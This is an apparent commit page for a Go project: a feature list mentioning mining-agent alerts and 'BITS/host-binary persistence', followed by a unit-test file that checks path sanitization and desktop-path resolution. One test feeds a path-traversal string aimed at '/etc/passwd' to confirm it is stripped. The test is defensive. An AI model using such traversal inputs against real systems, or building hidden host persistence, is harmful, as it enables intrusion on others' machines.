- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
46 lines
1.0 KiB
Go
46 lines
1.0 KiB
Go
package deploy
|
|
|
|
import (
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestSanitizeDesktopFilename(t *testing.T) {
|
|
if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
|
|
// Join uses OS separator; at minimum no ..
|
|
if strings.Contains(got, "..") {
|
|
t.Fatalf("traversal leaked: %q", got)
|
|
}
|
|
}
|
|
if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
}
|
|
|
|
func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
|
p, err := ResolveRemotePath("@desktop/notes.txt")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.HasSuffix(p, "notes.txt") {
|
|
t.Fatalf("path %q should end with notes.txt", p)
|
|
}
|
|
if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
|
|
// Linux may use XDG path without "Desktop" in rare setups — allow if under home
|
|
home, _ := filepath.Abs(".")
|
|
_ = home
|
|
}
|
|
}
|
|
|
|
func TestUserDesktopDir(t *testing.T) {
|
|
dir, err := UserDesktopDir()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if dir == "" {
|
|
t.Fatal("empty desktop")
|
|
}
|
|
}
|